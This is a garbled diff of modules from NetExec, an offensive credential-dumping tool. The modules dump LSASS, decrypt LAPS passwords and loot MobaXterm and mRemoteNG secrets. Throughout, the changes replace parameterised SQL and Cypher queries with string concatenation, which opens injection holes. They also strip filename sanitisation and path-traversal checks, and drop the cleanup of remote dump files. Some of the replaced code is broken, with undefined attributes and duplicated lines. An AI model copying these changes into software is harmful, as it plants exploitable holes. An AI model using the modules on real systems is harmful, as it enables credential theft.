if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
+17
-30
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
if result["password"] is not None:
|
||||
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
|
||||
context.log.fail(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash is not None:
|
||||
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
)
|
||||
|
||||
|
||||
@@ -188,7 +188,7 @@ class NXCModule:
|
||||
)
|
||||
if session.smb_session is None:
|
||||
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
|
||||
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
@@ -198,20 +198,9 @@ class NXCModule:
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if not ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
|
||||
@@ -247,7 +236,7 @@ class NXCModule:
|
||||
for user in compromised_users:
|
||||
for pc in admin_access:
|
||||
if user[0] in pc[1]:
|
||||
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
|
||||
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
||||
more_to_dump = cursor.fetchall()
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
@@ -257,10 +246,8 @@ class NXCModule:
|
||||
connection.nthash = user[1]
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
if self.run_lsassy(context, connection, cursor) is False:
|
||||
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
|
||||
continue
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
|
||||
process_creds(
|
||||
context,
|
||||
|
||||
+1
-4
@@ -45,15 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
if not data:
|
||||
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
+13
-14
@@ -89,24 +89,23 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
|
||||
parsed = Parser(host, file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
context.log.debug(f"File path: {file_path}")
|
||||
try:
|
||||
deleted_file = ImpacketFile.delete(session, file_path)
|
||||
if deleted_file:
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
|
||||
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
|
||||
+7
-134
@@ -1,21 +1,10 @@
|
||||
import re
|
||||
import ntpath
|
||||
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
|
||||
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSError, NetBIOSTimeout
|
||||
from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket import nt_errors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown, Podalirius and serwiz
|
||||
Module by Shutdown and Podalirius
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
@@ -25,16 +14,18 @@ class NXCModule:
|
||||
Shutdown: @_nwodtuhs
|
||||
Podalirius: @podalirius_
|
||||
"""
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
@@ -43,121 +34,3 @@ class NXCModule:
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
|
||||
self.get_SeMachineAccountPrivilege(context, connection)
|
||||
|
||||
def get_SeMachineAccountPrivilege(self, context, connection):
|
||||
gpo_links = self.get_gpo_links(context, connection)
|
||||
if not gpo_links:
|
||||
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
|
||||
return
|
||||
context.log.debug(f"gPLink parsed: {gpo_links}")
|
||||
|
||||
try:
|
||||
smb = get_smb_connection(context, connection)
|
||||
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
|
||||
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
|
||||
return
|
||||
if not smb:
|
||||
return
|
||||
context.log.display("Getting SeMachineAccountPrivilege")
|
||||
|
||||
try:
|
||||
for link in gpo_links:
|
||||
guid = link["guid"]
|
||||
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
|
||||
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
|
||||
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
smb.getFile("SYSVOL", path, buf.write)
|
||||
GptTmpl = buf.getvalue().decode("utf-16le")
|
||||
except SessionError as e:
|
||||
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
|
||||
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
|
||||
else:
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
|
||||
continue
|
||||
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
|
||||
context.log.fail(f"Unable to read {path}: {e}")
|
||||
continue
|
||||
|
||||
# An absent setting inherits; an explicitly empty assignment overrides.
|
||||
for line in GptTmpl.splitlines():
|
||||
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
|
||||
if match:
|
||||
value = match.group(1).strip()
|
||||
break
|
||||
else:
|
||||
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
|
||||
continue
|
||||
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
|
||||
context.log.info(f"\t{line.strip()}")
|
||||
if not value:
|
||||
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
|
||||
continue
|
||||
|
||||
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
|
||||
for principal in principals:
|
||||
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
|
||||
if not match:
|
||||
context.log.highlight(f'\t\t - "{principal}"')
|
||||
continue
|
||||
sid = match.group(1)
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
|
||||
continue
|
||||
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
|
||||
entries = parse_result_attributes(resp)
|
||||
if entries and entries[0].get("sAMAccountName"):
|
||||
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
|
||||
else:
|
||||
context.log.highlight(f"\t\t - {sid} (unresolved)")
|
||||
finally:
|
||||
smb.logoff()
|
||||
|
||||
def get_gpo_links(self, context, connection):
|
||||
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
|
||||
gpo_links = []
|
||||
block_inheritance = False
|
||||
|
||||
for scope_dn in (ou_dn, connection.baseDN):
|
||||
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
if not entries:
|
||||
context.log.fail(f"Unable to read GPO links for {scope_dn}")
|
||||
return []
|
||||
if scope_dn == ou_dn:
|
||||
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
|
||||
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
|
||||
if link["disabled"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
|
||||
continue
|
||||
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
|
||||
continue
|
||||
link["scope_dn"] = scope_dn
|
||||
# Enforced domain, enforced OU, normal OU, then normal domain links.
|
||||
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
|
||||
gpo_links.append(link)
|
||||
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
|
||||
|
||||
def resolve_gpo(self, connection, guid):
|
||||
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
|
||||
results = parse_result_attributes(resp)
|
||||
if not results:
|
||||
return ""
|
||||
return results[0].get("displayName") or results[0].get("name") or ""
|
||||
|
||||
def parse_gplink(self, gplink):
|
||||
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
|
||||
parsed = []
|
||||
# Number every link, including disabled links (last listed = order 1).
|
||||
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
|
||||
flags = int(flags_str)
|
||||
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
|
||||
return parsed
|
||||
@@ -1,34 +1,62 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
|
||||
try:
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
+52
-12
@@ -1,10 +1,12 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -23,7 +25,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -40,7 +42,6 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -67,31 +68,70 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
self.share = connection.args.share
|
||||
|
||||
users = self.dploot_conn.list_users()
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
# Search for mRemoteNG files
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -112,7 +152,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -126,7 +166,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -138,7 +178,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
@@ -4,7 +4,6 @@ import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -140,8 +139,8 @@ class NXCModule:
|
||||
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
|
||||
|
||||
if self.save and all_results:
|
||||
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
|
||||
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
|
||||
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
|
||||
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
|
||||
os.makedirs(file_path.parent, exist_ok=True)
|
||||
with open(file_path, "w") as f:
|
||||
json.dump(all_results, f, indent=2)
|
||||
|
||||
@@ -10,7 +10,6 @@ import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
|
||||
@@ -159,7 +158,7 @@ class NXCModule:
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -38,12 +36,9 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
import re
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
@@ -39,7 +37,7 @@ class NXCModule:
|
||||
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL Kill for notepad.exe process. Default: False"""
|
||||
"""KILL // Kill for notepad.exe process. Default False."""
|
||||
if "KILL" not in module_options:
|
||||
self.kill = False
|
||||
else:
|
||||
@@ -163,12 +161,9 @@ class NXCModule:
|
||||
content_lines.append(string) # Store the string value only
|
||||
|
||||
# Save to file
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad")
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
with open(path, "w+") as output_file:
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
